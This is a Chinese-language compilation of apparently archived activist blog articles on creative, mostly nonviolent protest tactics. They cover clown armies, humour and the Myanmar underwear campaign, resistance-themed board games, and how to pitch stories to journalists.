反叛小丑利用这种微妙的二分法取得了很好的效果，通过在警察的警戒线旁边模拟严肃的方式、以及最高级别的权力，通过指出乔治W布什的小丑行为，在街道上向所有人展示了转变权威性的戏剧。

2、以聪明的方式被捕

我们介绍过这种战术，见《以聪明的方式被捕：投标人和盟友的光谱》

看着警察用手铐将小丑捆绑到警车上，总是很吸引路人的注意，他们会提出问题：小丑做错了什么？这是怎么回事？

一名被捕的小丑同时形成了一场非常有针对性的图景。

每个小丑都有滑稽的名字（比如“私人笑话”），当这名小丑被捕时，其他人就会大喊：“Hi 快看啊！警察抓走了私人笑话！”

是的，每一个细节都可以被利用起来完善整场抗议。

3、重塑

在20世纪90年代中期的大型峰会抗议运动期间，反叛小丑帮助重塑了抗议群体的媒体形象。

一群色彩缤纷的不听话的小丑可以很容易地捕捉吸睛度，并将媒体叙事从“暴力冲突”和粉碎的窗户中移开。

而且你能很容易意识到，小丑装扮可以帮助行动者掩盖面部识别性特

征 —— 在这个人脸识别盛行的时代。

更多：《香港的抗议活动中再次强调了你的脸如何成为武器》

⚠潜在风险

小丑军的潜在风险和其他行动的潜在风险一样：它容易被渗透。

如果暴力渗透抗议队伍，将很容易摧毁整场行动的感召力和形象。

应对方法也很简单，那就是：时刻保持原队形的识别特征 —— 为每一位参与者所熟知。

这是考验情报协调的关键时刻。

⚠不能所有人都在现场，必须有场外的情报协调；利用一个宽广的视野实时监测整个场面。

渗透者会采取与活动家一模一样的装扮，以混淆视听，并栽赃活动家。

场外协调一旦发现有可疑人出现，立刻通知行动者更换识别特征 —— 比如换帽子、面具、鼻子的颜色等等，让渗透者迅速被突出出来、并隔离。

阶段性行动计划中不容易遇到这类情况，如果升级为大规模的分布式行动，渗透就是有必要避免的。

关于嘉年华式抗议

关于嘉年华式抗议策划还有很多种。见上面那张阿姆斯特丹的照片，你能看到一只充气大懒猫在画面中。

还有我们曾经在《空降泰迪熊》中描述的案例。

这是一个更为常见的手法。穿尿布的 Trump Baby 气球也属于这种形式。

充气道具是令无聊的抗议运动变得有趣并能迅速抢占景观视点的重要工具。

💡这些道具可用于多种用途，从吸引人群、到嘲笑警察，再到为媒体提供标志性的 meme，令当局陷入决策困境。（见《如何为你的对手

制造决策困境》）

⚠建造大型充气设施很难单独进行，于是需要使其成为一种与后续行动同等重要的社会活动。

在将轻质、超大的结构组合在一起时，会有一种诗意般的乌托邦式的氛围。

🌤这项工作非常适合吸引来自不同背景的人：创意者、想要学习的人、以及想要实现行动的活动家。

随着大型充气设备的成型，令人兴奋的画面很快就会在公众面前闪耀。

因此，充气工作室既是理想的创意空间，也是社交空间，🌤完全可以培养超越政治动员的信任和友谊。

⚠潜在风险

创建大型充气产品在技术上要求较高，部署后也很容易遭到损坏。

为了避免影响士气，有一些方法可以弥补这些缺点：

- 避免在没有尖锐物体的干净环境中工作；
- 对于大于5米的作品，您可以选择使用风扇，以找到其中隐藏的微小漏洞；携带小型充气泵，并携带宽胶带以随时弥补途中导致的漏洞；
- 提前勘查行程路线中的障碍物及高度，以令充气作品绕开树枝等陷阱。

Trump Baby 气球显然非常好地做到了全部。

嘉年华式的抗议有非常多的形式；请在您的组织的预算内，尽可能发挥想象力。以找到最适合您的剧本。〇

送纪录片《推翻独裁者》：

原文

（46）内裤的力量：创造性行动和4点经验 - iyouport

行动技巧、战术和原理

（2019年11月22日存档）幽默不仅可以抚慰创伤，还能够滋养抵抗

> “人类只有一种真正有效的武器，那就是笑声” —— 马克吐温

人类历史上一直在使用幽默给那些被征服和被压迫的人们带来希望，并鼓励抵抗。

幽默可以成为一种强大的武器，从心理层面削减压迫者的规模，破坏他们的社会合法性 —— 难怪在第三帝国期间禁止反纳粹的笑话。

幽默也可以滋养抵抗。

幽默是一种高级别的反抗，但不是“段子手”那种。推荐一本书《“Gallows Humor”-A Sociological Phenomenon》

弗洛伊德确定幽默有三种：身体幽默、思想幽默、和精神幽默。

这三种都可以用来破坏权力，并使受压迫者的精神浮现。

身体很有趣，因为一些身体现象是无法控制的：即使是强大的权威、看起来不可一世的权力，也很难控制放屁、打嗝、跌跤 …… 抗议者往往通过指出它来颠覆他们的权威。

津巴布韦总统罗伯特穆加贝绊倒的照片在互联网上疯狂传播，他要求摄影师快速删除已经传遍世界各地的照片来控制局面，然而一切都是徒劳的；越是删除，人们的欢闹声就越高。

想想看，在现场直播的重大场合上，一个悠扬的长屁会带来什么样的效果？吃下一整盘煮豆子后任何活人都能做到。

当言论自由受到限制，或者直接与权威对抗被视为非法时，思想幽默就很有用。

用最巧妙的方式羞辱他们就很难被当权者抨击为冒犯或非法（因此也难以实施惩罚）。

中国官员已经决定在新闻媒体中禁止双关语和文字游戏，足见，这种幽默形式的颠覆性力量已经得到了充分的体现。

最后，精神幽默就是反守为攻。

一个很好的例子是 Anna Gensler 的 Instagram 艺术项目 Instagranniepants。

由于厌倦了在线性骚扰，Gensler 开始将她收到的骚扰信息整合到她绘制的骚扰者的有趣的裸体漫画中，并将结果发布在网上；这些作品迅速成为了一个受欢迎的漫画meme。

有效的幽默可以为观众提供他们渴望的正义；提供唯一安全的方式来藐视权威，或作为模版，激励公众在真实世界中寻求正义。

反叛小丑军（CIRCA）就是一个伟大的幽默行动实例。

CIRCA 已经出现在整个欧洲的抗议游行中，以破坏警察（以及相关暴力镇压）的气势，并且通常会增加一种狂欢节般的反独裁气氛。

例如，在英国军队招募办公室举行的反战抗议活动中，CIRCA 成员使用鸡毛掸子“清理”士兵和警车，并巧妙地模仿官员的行走和姿势，甚至连官员自己都在努力憋住不要笑出来。

一旦警察将小丑们从大楼赶出去，招聘办公室就会提前关门，所以小丑们就在门外放了一张桌子，上面竖一块牌子写着 “在这里签字”，然后人们开始与小丑军签约，而不是正规军。

让人们发笑的东西更容易被记住 —— 更容易被传播。大多数人更容易在社交媒体上发布一些有趣的内容，而不是严肃的新闻和信息。

活动家应该利用这点。更多见《别让媒体为你的对手工作：创造性破坏》

再一次，就如我们一贯强调的，⚠幽默战略应该与其他战略一起协调运用，以服务于一场设计完好的抗议行动 —— 否则只能混成一个微

博段子手或抖音网红。

下面举一个例子：内裤行动。

2007年，在军方对广泛的民主抗议活动进行了残酷的镇压之后，传统的公众抗议活动已经在缅甸变得不可能。

尽管如此，异议仍然很普遍，严酷的镇压反而激发了许多创造性的想法，颠覆性的和风险较低的行动不断激增。

虽然这些行动还不足以摧毁军方对权力的控制，但它们有助于进一步孤立执政的将军，帮助人们克服恐惧并治愈创伤，感受到成为积极抵抗的一部分。

军事领导层有一种迷信的恐惧，认为接触女性内衣可能会夺走他们的权力；于是，这就产生了极大的幽默感 —— Lanna Action 组织呼吁缅甸各地的妇女通过把自己的内裤邮寄给将军，以抗议该政权及其使用的性暴力。

活动家还呼吁世界各地的支持者将自己的内裤邮寄到他们所在国家的缅甸大使馆或领事馆。

Lanna 对缅甸的行动也使用了其他象征手段来嘲笑军队并对抗政府。

再一次，强调了我们前述的原理：文化地形，它非常重要；见《了解你的地形是策划行动的第一步》。

与流浪狗的组合在缅甸文化中是极具攻击性的，因此，活动人士将丹瑞大将的照片贴在流浪狗的项圈上。

在丹瑞大将的生日那天，活动家们做了一个内裤形状的烤蛋糕，上面贴上丹瑞大将的照片，然后放到街头，让流浪狗吃了个饱。

后来，为了抗议腐败的 2010 年选举，Lanna Action 的活动家组办了一系列选举游击队剧目，试图登记 Lanna 内裤党，传播“pantifesto”，并发誓要“争夺并赢得 2010 年缅甸选举，形成一个过渡政府并将权力移交给缅甸人民。

选举游击队的力量在很大程度上不是为试图赢得国家权力的，而是要质疑其核心政权。

在极端的国家暴力时期，当公共集会被取缔时，“内裤”行动提供了简

单且低风险的表达异议的方式。

它出色地利用迷信和文化禁忌将幽默注入了最危险的区域，并破坏了一个极其强大的对手。

关键的战术：分布式行动

在这里看到更多解释《分布式行动的街头派对》。

在本案例中，在公共集会被宣布为非法的时候，内裤行动让人们有了一种在缅甸和国外以分散的方式、在自己的时间空间中进行抗议的方式。

这无疑会增强人们的信心和参与热情。

主要原理：幽默

就像皇帝的新衣一样。

统治者的力量被证明极易受到嘲弄，无论是一个孩子大声说皇帝没有穿衣服、还是女人们指出将军害怕内裤。

没有什么比笑声更能打破强大的权力了。

关于缅甸的行动，活动家总结了4点经验。

1、抓住道德制高点

如前文中介绍过的要点，充分利用文化仪式和符号就可以增加你在冲突中的合法性和潜在的领导力。

这对于绝大多数为佛教徒的缅甸来说至关重要，因为佛教僧侣在传统意义上固定了该国的道德指南针。

僧侣是政治启蒙者，并在该国作为人民神圣权利和责任的守护者。

最着名的是，缅甸尽人皆知的藏红花革命，就是由全缅甸僧侣联盟领导的，该联盟的立场是服务于人民并抵制政权强加的痛苦。

特别是，两种宗教传统被用来谴责军政府严重违反佛陀的教义。

首先，僧侣的公开诵经祈祷是在与受苦的公众结盟；由于这种反抗团结的行动，僧侣遭到政权的残酷殴打。

其次，可能更为著名的是，僧侣联合的“推翻施舍碗”行动，体现了在激进主义传播中使用文化仪式的力量。就是上面的图片，缅甸僧侣在1990年和2007年两次推翻了他们的施舍碗，拒绝接受军人和他们的家属的捐款。

这种简单的拒绝行动有效地剥夺了当局获得宗教价值的能力，给执政的政权带来了严重的道德和政治挑战。

由于政府和大多数国家官员都是佛教徒，因此使用宗教仪式可以更直接和更有力地对政权喊话。

2、利用偏见来获得优势

如果你是一群认为触摸女人的内裤会削弱自己“力量”的将军，你就会自动落入内裤运动构建的陷阱。

Lanna Action 组织的内裤运动在当地文化中非常有效。

据报道，有数百条内裤被送到了大使馆。

Panty Power 是一种幽默的方式，表现出对民主抗议者的严重支持，用蕾丝哄骗政权，推翻性别歧视，并利用了军政府的偏见。

在公共集会被禁止的时候，内裤行动提供了一种简单而低风险的方式来参与抗议。

它出色地利用了迷信和文化禁忌来对抗巨大的权力，并将幽默注入困境。

如上所述，流浪狗的行动也是如此。当局疯狂地满街跑，试图抓住那些“参与抗议运动”的狗，因为狗脖子上挂在将军的照片。这些幽默的场景被迅速捕捉并上传到互联网，成为热门。

几条狗就能击败军政府的权威，这是多划算的事呢。

3、用鲜花与仇恨言论作斗争

众所周知，种族冲突在缅甸非常广泛，大多数佛教徒和少数民族穆斯林人口之间的冲突可以说举世闻名，特别是在若开邦。

随着国家的开放，互联网的访问和使用呈指数级增长；据预测，到2015年底，缅甸的互联网和移动电话普及已经从2013年的10％上升

到了50%。

当然，互联网是由国家监控的 —— 事实上，直到2011年，该国的每一份出版物都在印刷前受到审查 —— 虽然该政策后来有所放松，但政府已明确表示：他们正在全面监控网络。

在过去几年中，极端主义团体一直在通过传播错误信息呼吁暴力，特别是煽动对穆斯林罗兴亚少数民族的仇恨。

Facebook 的极端主义帖子导致了无数的混乱和仇杀，政府关闭了该网站以试图限制暴力。

支持民主的活动家们对宗派暴力和苛刻的言论审查有着同等的担忧。

2014年4月，Nay Phone Latt —— 一位著名的博客作者兼缅甸信息通信技术发展组织负责人，此前曾因撰写反政府文章被监禁四年 —— 他开展了一场以 #FlowerSpeech 为主题的打击仇恨言论的在线活动。

活动家鼓励人们用龙船花发布自己的照片；作为缅甸人崇拜的国花，它们传统上代表着力量和诚实。

这场运动不止有 **Facebook** 帖子，还有贴纸、海报、**T**恤、腕带、和歌曲，活动家们试图借此打击“危险言论”和种族间紧张关系的蔓延，并说服人们接受缅甸的多样性。

这场运动最终发展为声势浩大的社会联动；行动采取的是已经很重要的文化元素国花，意味着每个人都熟悉的图像并能够立即理解信息。

这是一个动员技巧。

任何时候你都可以开展这种足够吸引大众的活动。#FlowerSpeech 是通往公平公正的缅甸之路的桥梁。

4、用笑声抵制镇压

在缅甸，一个名为“胡子兄弟”的喜剧三人组提供了有力的反抗。

最初，表演是为了帮助当地人摆脱生活中的艰难和压迫性现实，后来，这种做法迅速成为了与国际社会沟通和推动变革的一种方式。

三人组表演了很多传统的缅甸歌舞，包括古怪的闹剧、经典的女性舞

蹈、罐头音乐和政治讽刺。这是明确的替代媒体做法。见《让它民主：替代媒体作为抗争之源（下）》。

尽管观众在大笑，但是三人组中的两兄弟被抓捕并被判7年监禁。此后他们被禁止在公共场所和缅甸观众面前表演。

可见政权对民间独立媒介的恐惧。

所以，如果您今天去缅甸的话，您可以在“胡子兄弟”的家中观看表演。他们在一楼设计了一个小型的表演空间。

但是这里只有外国游客参加；因为禁令仍然存在。

这些表演已经成功地让人们放弃了对政治的恐惧。你能从中学到很多知识，关于：如何利用本土的艺术形式和文化遗产来减轻当地人的压力、建立国际社会的支持，并在每周末的晚上向公民讲述真相。

创造力始终是反抗的引擎。希望本系列内容能帮助您找到适合自己的方式；最好是，激发您的创造力。〇

原文

（47）7个以抵抗为主题的棋盘游戏，升级你的战斗技巧 - iyouport

行动技巧、战术和原理

（2019年11月22日存档）这些抵抗游戏充满了学习的收获和乐趣，其中一些有着悠久的历史；可以用于行动培训

前面的内容您可能看累了。那么我们来轻松一下；在愉快中学习。

目前这个世界在个人和政治上已经筋疲力尽了吗？或者只是需要一点休眠以熬过漫长的寒冬？

不一定。

当你在现实中感觉无所作为的时候，你会做点什么？你会抱怨这个世界的堕落，还是躲起来悄悄打磨你的枪法？

我不知道；但可以肯定，抱怨没有用，而技能的精进可以帮助你在任何时候获得突破性的灵感。

这就是游戏能帮你做到的事。

本文希望能探索一些能帮您打磨技能的东西。也就是抵抗游戏。

任何人都能使用它们。一些人已经开始将它们用于教育工具来教授政治、社会或经济的现实；另一些人用它们来挖掘灵感，希望能克服现实中有问题的系统以寻求出路。

不论如何，最终这些游戏是为培训注入一些趣味性的好方法，同时很有可能为您的战略规划带来创造力。

这些游戏的玩法可以以一种低风险（并且压力较小）的方式来开始规划新的社会运动、或锻炼团队的集体力量，没有实质上的威胁性。

本文即将介绍的游戏涵盖各种风格 —— 从合作到角色扮演到标准的

游戏都包括；每一种都有自己的个性。有些能描绘你内心的甘地，有些会让你生活在最疯狂的起义幻想中，有些只会让你发笑。

所以，现在开始探索属于你的游戏吧。

1、Rise Up! Game of People & Power

这款游戏诞生刚刚超过一年，是 TESA 游戏团队的成果，也被称为*教育和社会行动工具箱*。

在游戏中，所有玩家都在同一个团队中，运行不同部分的运动，联合起来努力击败“这个体制”。

首先，你需要选择一个问题或重点关注故事：它可以是像反政府运动那样现实的东西，也可以是像“小龙的正义”这样虚构的战斗。当然会推荐您选择实战模拟。

玩家通过合作实现挑战，不论输赢所有人共进退。

玩家的每一次进击，“这个体制”就会反击，导致游戏发生紧张局面——玩家会面临逮捕、内讧、渗透、监视和其他各种障碍。

是的，非常真实。

🌤如果您想探索组织者和活动家在创建反抗行动中共同努力的尝试和有可能遭遇的磨难，这个游戏的挑战就能发挥作用。

显然对于缺乏实战经验的社会来说它会很有用。

将您的抵抗活动（或重点故事）集中在一起可以帮助非组织者或新活动家立即参与到游戏中来；它也是解决教育游戏巨大挑战的关键方法：如何让它们真正有趣且有吸引力，而不仅仅是强大的训练工具。

对于 Rise Up!，五个玩家一起上会效果很好，即便只有两个玩家也可以运行，但趣味性会少一些。所以你能感受到，它很侧重联合能力的培养。

年轻人和年长的人可以共同制定战略，思考最紧迫的是什么，增加成员还是深入新的地区，如何在互联网上组织或与媒体合作。

你最终可能会辩论出最有效的战术选择。

此外，如果你最终入狱或进了医院，游戏可能会在你没有被释放的情况下结束。

这就是为什么我建议添加一条规则，即 除非每个人都平安回家，否则不能结束。要抵抗到底。

当然，它依旧是希望激发人们反侦查反追捕的技能。您能从中获得的知识和灵感都可以运用在现实生活中。因为游戏很真实。

一个很大的优点是该套装包括两个游戏板，一个用于标准游戏，另一个用于更简化的版本。您可以从简单的开始练习。

2、Co-opoly, The Game of Cooperatives

Co-opoly, The Game of Cooperatives 从开创性的大富翁（Monopoly）直接传承下来，最初名为 The Landlord’s Game，也许您知道它。

在 Co-opoly 中，当你积累了足够的资源来开始另一个 co-op 时，你就赢了。如果您无法支付账单或继续经营业务，你就输了。

关于薪酬等级、投资、保险范围和价格设定的决定都在谈判桌上。

依旧是民主协商和合作。这些决定由玩家共同制定，因为每个人都在同一个团队中作为同一个 co-op 的一部分。

游戏中嵌入了很多挑战，🌤这些挑战可以挖掘您和您的队友拥有的广泛技能（或者提醒您缺乏哪些技能）。

可以与三到六个人一起玩这个游戏（人越多越好），并合作建立 co-op 的资源 —— 每个人都面对共同的赢输，如果合作失败所有人都会输，这点也非常现实。

如果成员能够完成挑战，那么每个人都会受益 —— 这就是帮助人们了解合作经济中团结和民主之重要性的明确方法。

3、Lotus Dimension

在 2088 年的不太遥远的未来，地球由神秘的大型企业控制，也就是寡头；这些大型企业使用人工智能、自动化和实体来控制那些在“被麻醉的消费者阴霾”下生活的普通公众。

抵抗已经大多被扼杀了，但有关“贵族”（在2050年最后一次失败的反抗团体）仍然存在的传闻正在流行。

作为玩家，你正在努力加入这个杂乱无章并且超级勇猛的“贵族”反抗组织，以 “唤醒自满的群众、藐视那些导致社会和精神腐败的邪恶势力”。

Lotus Dimension 是一款桌面角色扮演游戏，或者RPG游戏，对于龙与地下城这样的角色扮演游戏的粉丝来说会感觉很熟悉。

所有角色扮演游戏都建立在讲故事和任务（解决问题的挑战）的基础之上，这些挑战由机会元素控制（通常使用骰子）。

然而，与其他RPG不同，🌛Lotus Dimension 玩家必须在不使用暴力的情况下解决冲突才能获得成功。

然而值得注意的是，游戏承认自由意志，因此可以*选择*暴力解决方案，但是，对玩家来说成本会很高。

D＆D玩家有一句格言：“如果你不能杀死它，那就要发挥创意。”

在 Lotus Dimension 中，您可以跳过第一部分，直接思考其他可能的解决方案 —— 用智慧和独创性取代暴力和致命武器，以获得成功。

为了能做得好，玩家需要摆脱好斗的心态，开辟另类的获胜途径。

玩家可以选择自己的角色，这些角色包括很多现代原型，比如：艺术家、僧侣、魔术师、记者、黑客、神秘主义者、跑酷大师、或萨满……没错，这是训练跨界联合，在共同目标的前提下各自发挥自己的特长。

在提供的模板中，玩家可以构建自己的背景故事，选择想要的抵抗技能和工具，并识别显著的个人特征。

抵抗组织成员联合在一起使用头脑风暴的协作策略 —— 根据非暴力原则 —— 克服各种障碍，以实现目标并击败“Dark Side”。

所有这一切都必须在尽可能减少伤害和痛苦的同时发生。

简而言之，正如设计师 Scott Wayne Indiana 所说的，“Lotus Dimension 与许多其他同类的角色扮演游戏都不同。它既是关于理想主义正义叙事形式的回归，也是关于暴力效用假设的后现代质

疑…… 在这个游戏中，就像在生活中一样，每个问题都有无数种可能的解决方案……利用创造力、合作精神、同理心（也许还有点疯狂），将开辟新的前进道路。”

与大多数角色扮演游戏一样，为了充分利用 Lotus Dimension，请留出足够的时间进入角色，并通过创造性的叙事手法来提升舒适度。

建议三到五名玩家合作；由于某些情景中有暴力行为，建议年龄在12岁及以上的玩家参与 —— 当然这对今天的许多孩子来说都不是问题。

在本文评论的所有游戏中，这款游戏最适合培养玩家的专注和耐力，而不是一次性的深夜冒险。

4、Bloc by Bloc: The Insurrection Game

在 Lotus Dimension 积极奖励非暴力抵抗和创造性聪明才智的角度上，Bloc by Bloc 专注的是游戏化“21世纪的城市起义”。

扎根于占领、抢劫、封锁和打击警察等死记硬背的战术，将自己想象成为“为解放城市而奋斗的充满活力的民众叛军”的一部分。

设定的基础是：必须反叛，因为没有讨论是什么使反叛如此充满活力和受欢迎。

如果你想要探索的是：如何参与对大型建筑的封锁、抢劫商店、以及在天黑后反击防暴警察，而没有真正的后果的方法（除了警察的反击和白天部分期间当局的镇压行动外），你将会喜欢这个游戏。

话虽如此，⚠但你必须掌握管理阵营运动、占领行动、和警察手段的许多规则，因为日落起义紧接着就是日出后警察的反击。

为了获胜，你必须在游戏的第八晚或一轮之前满足最终游戏条件 —— 例如在城市中建立一定数量的占领区或者在 Blocs 中击败当局。

⚠如果你没能做到，军方就会介入，并粉碎剩余的起义。你就 over 了。

Bloc by Bloc 有一些创造性的游戏元素，可以延长其保质期并保持趣味性。

例如，每次玩游戏时，都会通过随机生成一个 bloc 布局来创建一个

新的独特的游戏板。游戏也可以半合作或完全合作的方式进行。

指南中包含10个小型扩展方案，提供现有策略的变体；标题包括：“Routine Traffic Stop”、“Let the Infighting Begin”、“Burn Down the Company Town” 等等。

如果您已经是对起义很有经验的人，这些情景可能会触发您的创伤后应激障碍……因为太真实了。

整个布局非常好看，但是操作方面很有挑战性。

⚠请注意这里的重点并不是破坏性行为（这只是为了让游戏更刺激更好看）而是，培养战略性思维 —— 战略性思维不仅仅是简单地决定将哪个路障放在哪里或从哪里进攻……

尤其是，联合的思维方式。

⚠因为每个玩家都控制着一个反对当局的革命派系。各派系之间必须完美合作，在小心平衡个别秘密议程的同时打败共同的敌人。

建造路障、与防暴警察冲突、掠夺购物中心、保卫解放区，并在时间耗尽军队到达之前占领城市。

其中如果有一方出轨，可能所有人都会死。

5、Class Struggle

Class Struggle 可能是有点传奇色彩的游戏案例。

纽约大学政治学教授 Bertell Ollmann 于1978年创立了 Class Struggle，为了教授资本主义的现实。

游戏规则中写道：“ Class Struggle 反映了我们社会阶层之间真正的斗争；

游戏的目的是单独或与其他阶级联盟以赢得革命；

不同参与者代表的不同阶级，负责推进、建立和打破联盟，并掌握各种总罢工的优势和劣势。”

游戏可以由代表不同阶层的两到六名玩家合作进行（比如 资本家、工人、学生、农民、专业人士、小商人等等）。

目标是在革命到来之前积累尽可能多的资产 —— 因为到那时拥有最多资产的人会获胜。

教育部分 —— 关于资本主义制度中固有的不平等 —— 从游戏的准备阶段就开始了。

个人不能在游戏中随意选择自己的阶级角色，因为正如指示所说，“在现实生活中，你属于什么阶级通常取决于出生的家庭。” 这是英国传统（英国俗语：你爸是干什么的你就是干什么的）。所以，掷骰子决定。

这种方法也意味着资本家掌握大权，设定游戏玩法的方向，向右或向左，并决定谁应该管理“银行”，在游戏期间提供资产和借记。

而且，由于资本家控制着政府，他们是唯一可以触发核战争的人。

如果他们按下那个按钮，游戏就结束了，“在这场战争中没有赢家或输家”。

虽然这款游戏牢牢扎根于20世纪70年代的社会阶级分析，但即使在今天，玩家也能从中获得丰富的洞察力。因为一切都没变。

你能从中获得很多对政治经济体制的洞见。

一个严重障碍是这款游戏不再生产了，虽然副本目前仍然可以在 eBay 或游戏网站上获得。

6、Suffragetto

女权主义者和警察之间的斗争 —— 背景是爱德华七世时代的伦敦，激进派女权主义者和警察在街头进行斗争。

Suffragetto 最初是由妇女社会政治联盟（WSPU）设计和制作的。激进的 WSPU 与那些主张在该体系内和平工作的姐妹分道扬镳。

WSPU 采取的是激进的街头破坏式对抗策略，因为他们对于迟缓渐进的改良步伐感到沮丧。

值得注意的是，在这个简单的棋盘游戏范围之外，一些社会运动学者认为，采用更多暴力策略升级的决定实际上减缓了WSPU的胜利之路。

在游戏中，女权主义者的简单目标是打破警察阵线并占领下议院，同时防止警察进入阿尔伯特音乐厅以组织他们的会议。

另一方面，在捍卫下议院的同时，警方正试图突破女权主义者的阵线并占据 WSPU 会议空间。

该游戏有点类似于跳棋游戏 —— 被捕获或“伤残”的警察被送往医院、被逮捕的女权主义者被送进监狱。

在某些方面，Suffragetto 可以被视为英国社会围绕女性角色的更大危机的物理表现。

当 WSPU 升级的战术遇到警察镇压和残暴行为增加时，WSPU 的回应是建立了一个30名女性组成的保镖队，称为“Amazons”。

请忽略理论，这里的重点不是行动理论。

而是，参与和组织运动的能力以及自卫训练，这是活动家必不可少的知识。

这款游戏代表一个激进的举动 —— 游戏的制作也提供了一种方法，让活动家能够从战略角度思考激进主义冲突。

由于这款游戏已经绝版（只有英国博物馆里有一个已知的游戏副本），现在您可以下载并打印自己的游戏，或访问新开发的在线版本。

7、Freedom: The Underground Railroad

这是一场激烈的历史性游戏，背景定于19世纪初至内战期间的美国。

故事的背景是沉重的话题：奴隶制；玩家作为废奴主义者挑战体制。

这款游戏有两个版本：简单和困难；这两个版本都需要玩家的合作精神来制定战略并赢得胜利，帮助被奴役的人民获得自由。

在这个游戏中玩家需要准备好解决各种困难，并做出艰难的决定。

这个游戏也是为了提醒玩家：奴隶制曾经是一个似乎永远都无法处理的东西，但是，通过许多人的真诚和激烈的参与和持衡的努力，最终击败了它。

如果你赢了，会能获得很多自信。

在游戏中，玩家努力为各种废奴主义工作筹集资金，并在整体问题上尝试改变整个社会的思想。

建议一至四名玩家合作，13岁及以上，游戏时间约为90分钟。

奴隶捕手一直在船上徘徊，威胁要捕捉所有逃离种植园的奴隶。

如果能充分合作协调，玩家就可以做到最终结束奴隶制。这种成功无疑是非常鼓舞人心的。

好啦，就是这样。希望您能从这些游戏中获得对行动的更深刻见解。尤其是缺乏大型运动和挑战体制经验的社会来说，非常有必要推广这类游戏。〇

原文

（48）如何更好地让您的爆料获得媒体的支持？ - iyouport

行动技巧、战术和原理

（2019年1月24日存档）你是否经历过自己感觉非常重要的消息爆料却得不到媒体的关注？媒体们似乎对那些重要的事不感兴趣？其实很可能是与媒体相处的方法不对。这里是需要一些技巧的。

通过互联网、印刷品、电视和广播新闻媒体传播是改变重要问题之思考的好方法。但如果你不能以正确的方式与记者互动，你可能会浪费大量时间或着更糟，弊大于利。

如果你想向新闻媒体宣传你的事业，你首先需要一个新闻“挂钩”。两个最常见的新闻挂钩就是：新闻中与您的事业相关的事件、或与您自己组织的激进主义事件相关。

将你需要报道的事件与当地、国家或国际新闻中的事件联系起来，可能是获得新闻报道的最有效方式。因为记者经常在寻找方法将问题置于一个背景中，并将其推进到其他新闻媒体的报道之上。您能找到的相关性就是其中最大的有利之势。

另一种有效的策略是举办活动。但是，在规划期间需要记住很多关键—— 确保活动在方便的时间和地点让记者出现，确保您的团队有良好的出席率，并创建强大的视觉效果。这里有更多提示：

http://spinacademy.org/wp-content/uploads/2012/04/SPIN-Works.pdf

许多记者喜欢在电子邮件中接收信息投递，因为他们可以在有足够的时间消化这些想法时阅读它们。

以下是当 peg 是新闻中正在报道的故事时，您可能发送给记者的电子邮件示例。

“主题：关于你对科技和小型企业的报道以及另一个迫在眉睫的大问题

“我看到你写的关于技术如何影响小企业的报道，我非常喜欢这篇文章。所以我认为你可能会对这里的另一个角度感兴趣，那就是，国际条约会如何伤害消费者并影响创新。我的小组正在致力于解决这些问题，我们有一位专家愿意谈谈现在正在发生的事：秘密的国际谈判可能会制造出损害小企业利益的全球新规则。例如，您提到过的可能会被迫停止向客户平板电脑和手机添加升级。并且这里有更多的信息 [这里添加博客文章的 URL 或您网站上的其他内容—而不是您的主页！] 如果您想更多地谈论，请告诉我。“

- ○ ■ 在您的签名行中，要包括您自己的完整联系信息（如果您有头衔也包含进去）和您的组织名。

如果您决定组织活动，您应该在网上发布媒体提醒，其中包括基本信息：行动标题，记者将在何处，何时，将看到什么，以及组织者的联系信息，以及一些指向更多信息的链接（例如，博客文章或其他分析以及组织者的主页）。不要放太多图形或过度设计—使其易于阅读和理解。您可以在这里查看示例：https://www.eff.org/press/releases/senators-call-privacy-law-update

以下是一封发送给媒体的示例电子邮件，提醒他们关注您的活动：

“主题：关于危害国际条约的地方事件，受害消费者到处都是

“我有看到你的报道已经涵盖了错误的法律如何伤害科技业，所以我想你应该有兴趣在星期六上午10点 Big Corporation Building [加 URL] 门前了解我们的反TPP 快闪活动。 TPP 即 跨太平洋伙伴关系，它是一项秘密的跨国贸易协议，有可能在全球范围内扩展限制性知识产权法，并重写其执法的国际规则。你可以在这里看到我们最新的快闪活动图片 [加 URL]。如果您需要更多信息，请告诉我。“

您还可以考虑添加“Please reply”。无论哪种方式，你会发现与现实的联系是非常重要的。

我应该把消息推荐给谁？

- 最好的选择是去当地。查看本地和社区广播，电视，报纸和热门博客网站。将公共服务公告的文本发送到大学广播电台、本地报纸和当地新闻周刊。

- 寻找其他本地活动或特定的列表网站和博客，以发布您的活动列表。请务必至少提前一周发送您的活动提醒，以便在截止日期前预留更多时间。许多出版物将在特定日期之后拒绝任何内容，因此请查看新闻机构的网站以获取提交日历的详细信息。
- 找出涵盖了与您自己的问题类似问题的记者，并找到他们的电子邮件地址。保留该新闻列表并记下谁回复了您，因为您以后可能会使用它。

– 始终向“news tip”中显示的电子邮件地址发送电子邮件，大多数网站也都会在“联系我们”网页上提供这些电子邮件地址。

- 向一小群有针对性主题的记者发送电子邮件，而不是将您的投递发送到未经审查的超长电子邮件地址列表中。注意使用 BCC 群发电子邮件以增加隐私级别，并将个人电子邮件发送给最相关的记者。要保持简短和准确，记者们一直在被乱糟糟的电子邮件宣传所淹没。

如果记者对你的消息感兴趣，然后怎么办？

如果记者回复您的电子邮件，请及时清楚地回答任何问题。如果你让记者等着你的回答，他们就会觉得你是不专业的，你的消息不值得跟进。

永远不要暗示您的电子邮件是独家提示，除非你确定真的是。如果记者问你把这个消息还给了谁，必须说实话：“我发了类似的电子邮件给其他一些记者，但我先听到了你的回复。我认为这个消息非常重要，并且目前媒体覆盖不足。” 或者说：“我有发送电子邮件给其他一些记者。这个消息非常重要且覆盖不足。让我举个例子，以证明你特别适合撰写这篇报道。“

如果我没有得到回应或者记者失去了兴趣时会发生什么？

- 如果您通过电子邮件向记者发送新闻爆料并且没有被回复，请不要重新发送电子邮件。他/她可能已阅读过，也可能没有，但是，当有新消息出现需要回应时，您应该随意再试一次。
- 如果您通过电子邮件发送了您计划的活动，您可以在活动开始时间前24小时再次跟进电话或电子邮件提醒。如果您打电话联系记者，请记得询问是否有人接听电话，如果他们有时间接听您的电话，那么请保持简短和准确的陈述。例如这样：“我早前通过电子邮件发送的有关 TPP 条约的活动明天就会开始了。大约20人将穿着[描述]服装，做一些关于该条约将如何伤害消费

者的宣传活动。您是否还需要更多信息？“
- 如果记者通过电子邮件回复说“感谢，但这次不行” 等等，请记下它。当一个新的新闻挂钩出现时，请再次发送电子邮件给他们。
- 如果记者通过电子邮件回复说“请不要再与我联系”、或者提供有关爆料的其他说明，请按照他们的指示行事。
